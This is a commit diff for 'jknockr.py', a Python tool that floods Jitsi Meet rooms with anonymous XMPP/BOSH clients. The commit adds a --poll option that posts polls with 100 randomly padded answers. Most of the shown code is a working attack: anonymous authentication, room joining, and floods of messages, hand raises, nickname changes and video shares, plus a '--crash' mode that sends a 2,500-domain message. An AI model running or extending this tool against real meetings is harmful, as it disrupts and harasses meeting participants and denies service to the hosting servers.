Added --poll option

This commit is contained in:
Dionysus 2024-10-12 23:43:43 -04:00
parent 2c1bd705f2
commit 2f13094ed4
Signed by: acidvegas
GPG Key ID: EF4B922DB85DC9DE
2 changed files with 262 additions and 230 deletions

View File

@ -36,6 +36,7 @@ python3 jknockr.py <target> [options]
- `--message "Your message"`: Send a custom message to the room. - `--message "Your message"`: Send a custom message to the room.
- `--hand`: Enable hand raising simulation. - `--hand`: Enable hand raising simulation.
- `--nick` or `--nick "Nickname"`: Enable nickname changes. Optionally provide a base nickname. - `--nick` or `--nick "Nickname"`: Enable nickname changes. Optionally provide a base nickname.
- `--poll "Your message"`: Enable creating polls
- `--youtube "YouTube URL"`: Share a YouTube video in the room. - `--youtube "YouTube URL"`: Share a YouTube video in the room.
- `--threads N`: Number of client threads to simulate (default is 100). - `--threads N`: Number of client threads to simulate (default is 100).

View File

@ -3,6 +3,7 @@
import argparse import argparse
import http.cookiejar import http.cookiejar
import json
import random import random
import re import re
import socket import socket
@ -16,7 +17,7 @@ import xml.etree.ElementTree as ET
def client_join(client_id: int, tlds: list, args: argparse.Namespace, video_id: str) -> None: def client_join(client_id: int, tlds: list, args: argparse.Namespace, video_id: str) -> None:
'''Performs the client join process and handles messaging, hand raising, nickname changes, and video sharing. '''Performs the client join process and handles messaging, hand raising, nickname changes, video sharing, and poll creation.
:param client_id: The ID of the client (thread number) :param client_id: The ID of the client (thread number)
:param tlds: List of TLDs to use for generating messages :param tlds: List of TLDs to use for generating messages
@ -51,7 +52,7 @@ def client_join(client_id: int, tlds: list, args: argparse.Namespace, video_id:
print(f'Client {client_id}: Establishing session') print(f'Client {client_id}: Establishing session')
body = f'''<body rid='{rid}' to='{target_domain}' xml:lang='en' wait='60' hold='1' xmlns='http://jabber.org/protocol/httpbind'/>''' body = f'''<body rid='{rid}' to='{target_domain}' xml:lang='en' wait='60' hold='1' xmlns='http://jabber.org/protocol/httpbind'/>'''
request = urllib.request.Request(bosh_url, data=body.encode('utf-8'), headers=headers, method='POST') request = urllib.request.Request(bosh_url, data=body.encode('utf-8'), headers=headers, method='POST')
response = opener.open(request, timeout=30) response = opener.open(request, timeout=10)
response_text = response.read().decode('utf-8') response_text = response.read().decode('utf-8')
sid = extract_sid(response_text) sid = extract_sid(response_text)
if not sid: if not sid:
@ -65,7 +66,7 @@ def client_join(client_id: int, tlds: list, args: argparse.Namespace, video_id:
<auth mechanism='ANONYMOUS' xmlns='urn:ietf:params:xml:ns:xmpp-sasl'/> <auth mechanism='ANONYMOUS' xmlns='urn:ietf:params:xml:ns:xmpp-sasl'/>
</body>''' </body>'''
request = urllib.request.Request(bosh_url, data=auth_body.encode('utf-8'), headers=headers, method='POST') request = urllib.request.Request(bosh_url, data=auth_body.encode('utf-8'), headers=headers, method='POST')
response = opener.open(request, timeout=30) response = opener.open(request, timeout=10)
response_text = response.read().decode('utf-8') response_text = response.read().decode('utf-8')
if '<success' in response_text: if '<success' in response_text:
print(f'Client {client_id}: Authentication successful.') print(f'Client {client_id}: Authentication successful.')
@ -77,7 +78,7 @@ def client_join(client_id: int, tlds: list, args: argparse.Namespace, video_id:
print(f'Client {client_id}: Restarting stream') print(f'Client {client_id}: Restarting stream')
restart_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind' to='{target_domain}' xml:lang='en' xmpp:restart='true' xmlns:xmpp='urn:xmpp:xbosh'/>''' restart_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind' to='{target_domain}' xml:lang='en' xmpp:restart='true' xmlns:xmpp='urn:xmpp:xbosh'/>'''
request = urllib.request.Request(bosh_url, data=restart_body.encode('utf-8'), headers=headers, method='POST') request = urllib.request.Request(bosh_url, data=restart_body.encode('utf-8'), headers=headers, method='POST')
response = opener.open(request, timeout=30) response = opener.open(request, timeout=10)
rid += 1 rid += 1
print(f'Client {client_id}: Binding resource') print(f'Client {client_id}: Binding resource')
bind_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'> bind_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'>
@ -86,7 +87,7 @@ def client_join(client_id: int, tlds: list, args: argparse.Namespace, video_id:
</iq> </iq>
</body>''' </body>'''
request = urllib.request.Request(bosh_url, data=bind_body.encode('utf-8'), headers=headers, method='POST') request = urllib.request.Request(bosh_url, data=bind_body.encode('utf-8'), headers=headers, method='POST')
response = opener.open(request, timeout=30) response = opener.open(request, timeout=10)
response_text = response.read().decode('utf-8') response_text = response.read().decode('utf-8')
jid = extract_jid(response_text) jid = extract_jid(response_text)
if not jid: if not jid:
@ -108,11 +109,40 @@ def client_join(client_id: int, tlds: list, args: argparse.Namespace, video_id:
</presence> </presence>
</body>''' </body>'''
request = urllib.request.Request(bosh_url, data=presence_body.encode('utf-8'), headers=headers, method='POST') request = urllib.request.Request(bosh_url, data=presence_body.encode('utf-8'), headers=headers, method='POST')
response = opener.open(request, timeout=30) response = opener.open(request, timeout=10)
response_text = response.read().decode('utf-8') response_text = response.read().decode('utf-8')
print(f'Client {client_id}: Server response to initial presence (join room):') print(f'Client {client_id}: Server response to initial presence (join room):')
print(response_text) print(response_text)
rid += 1 rid += 1
if args.poll:
# Build the poll message
poll_id = ''.join(random.choices(string.ascii_lowercase + string.digits, k=12))
base_question = args.poll
random_length = 50
question = ''.join(random.choices(string.ascii_letters + string.digits, k=random_length)) + base_question + ''.join(random.choices(string.ascii_letters + string.digits, k=random_length))
answers = []
for _ in range(100):
option_text = ''.join(random.choices(string.ascii_letters + string.digits, k=random_length)) + base_question + ''.join(random.choices(string.ascii_letters + string.digits, k=random_length))
answers.append(option_text)
poll_content = {
'type': 'new-poll',
'pollId': poll_id,
'question': question,
'answers': answers
}
poll_json = json.dumps(poll_content)
message_id = ''.join(random.choices(string.ascii_letters + string.digits, k=24))
message_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'>
<message from='{jid}' type='groupchat' xml:lang='en' id='{message_id}' to='{room_name}@conference.{target_domain}' xmlns='jabber:client'>
<json-message xmlns='http://jitsi.org/jitmeet'>{poll_json}</json-message>
</message>
</body>'''
request = urllib.request.Request(bosh_url, data=message_body.encode('utf-8'), headers=headers, method='POST')
response = opener.open(request, timeout=10)
response_text = response.read().decode('utf-8')
print(f'Client {client_id}: Sent poll message:')
print(response_text)
rid += 1
hand_raised = True hand_raised = True
for i in range(1, 101): for i in range(1, 101):
print(f'Client {client_id}: Starting iteration {i}') print(f'Client {client_id}: Starting iteration {i}')
@ -145,7 +175,7 @@ def client_join(client_id: int, tlds: list, args: argparse.Namespace, video_id:
</presence> </presence>
</body>''' </body>'''
request = urllib.request.Request(bosh_url, data=presence_body.encode('utf-8'), headers=headers, method='POST') request = urllib.request.Request(bosh_url, data=presence_body.encode('utf-8'), headers=headers, method='POST')
response = opener.open(request, timeout=30) response = opener.open(request, timeout=10)
response_text = response.read().decode('utf-8') response_text = response.read().decode('utf-8')
print(f'Client {client_id}: Server response to presence update:') print(f'Client {client_id}: Server response to presence update:')
print(response_text) print(response_text)
@ -155,7 +185,7 @@ def client_join(client_id: int, tlds: list, args: argparse.Namespace, video_id:
if not tlds: if not tlds:
print(f'Client {client_id}: TLD list is empty. Using default TLDs.') print(f'Client {client_id}: TLD list is empty. Using default TLDs.')
tlds = ['com', 'net', 'org', 'info', 'io'] tlds = ['com', 'net', 'org', 'info', 'io']
msg = ' '.join( f'{random_word(2)}@{random_word(2)}.{random.choice(tlds)}' if random.choice([True,False]) else f'{random_word(4)}.{random.choice(tlds)}' for _ in range(2500)) msg = ' '.join(f'{random_word(5)}.{random.choice(tlds)}' for _ in range(2500))
elif args.message: elif args.message:
msg = args.message msg = args.message
message_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'> message_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'>
@ -164,7 +194,7 @@ def client_join(client_id: int, tlds: list, args: argparse.Namespace, video_id:
</message> </message>
</body>''' </body>'''
request = urllib.request.Request(bosh_url, data=message_body.encode('utf-8'), headers=headers, method='POST') request = urllib.request.Request(bosh_url, data=message_body.encode('utf-8'), headers=headers, method='POST')
response = opener.open(request, timeout=30) response = opener.open(request, timeout=10)
response_text = response.read().decode('utf-8') response_text = response.read().decode('utf-8')
print(f'Client {client_id}: Server response to message {i}:') print(f'Client {client_id}: Server response to message {i}:')
print(response_text) print(response_text)
@ -218,7 +248,8 @@ def main() -> None:
parser.add_argument('--hand', action='store_true', help='Enable hand raising') parser.add_argument('--hand', action='store_true', help='Enable hand raising')
parser.add_argument('--nick', nargs='?', const=True, help='Enable nickname changes. Optionally provide a nickname') parser.add_argument('--nick', nargs='?', const=True, help='Enable nickname changes. Optionally provide a nickname')
parser.add_argument('--youtube', type=str, help='Share a YouTube video (provide URL)') parser.add_argument('--youtube', type=str, help='Share a YouTube video (provide URL)')
parser.add_argument('--threads', type=int, default=100, help='Number of threads (clients) to use') parser.add_argument('--poll', type=str, help='Create a poll with the provided question')
parser.add_argument('--threads', type=int, default=1, help='Number of threads (clients) to use')
args = parser.parse_args() args = parser.parse_args()
tlds = [] tlds = []
if args.crash: if args.crash:
@ -226,7 +257,7 @@ def main() -> None:
try: try:
tlds_url = 'https://data.iana.org/TLD/tlds-alpha-by-domain.txt' tlds_url = 'https://data.iana.org/TLD/tlds-alpha-by-domain.txt'
request = urllib.request.Request(tlds_url) request = urllib.request.Request(tlds_url)
with urllib.request.urlopen(request, timeout=30) as response: with urllib.request.urlopen(request, timeout=10) as response:
response_text = response.read().decode('utf-8') response_text = response.read().decode('utf-8')
tlds = [line.lower() for line in response_text.splitlines() if not line.startswith('#')] tlds = [line.lower() for line in response_text.splitlines() if not line.startswith('#')]
print(f'Number of TLDs fetched: {len(tlds)}') print(f'Number of TLDs fetched: {len(tlds)}')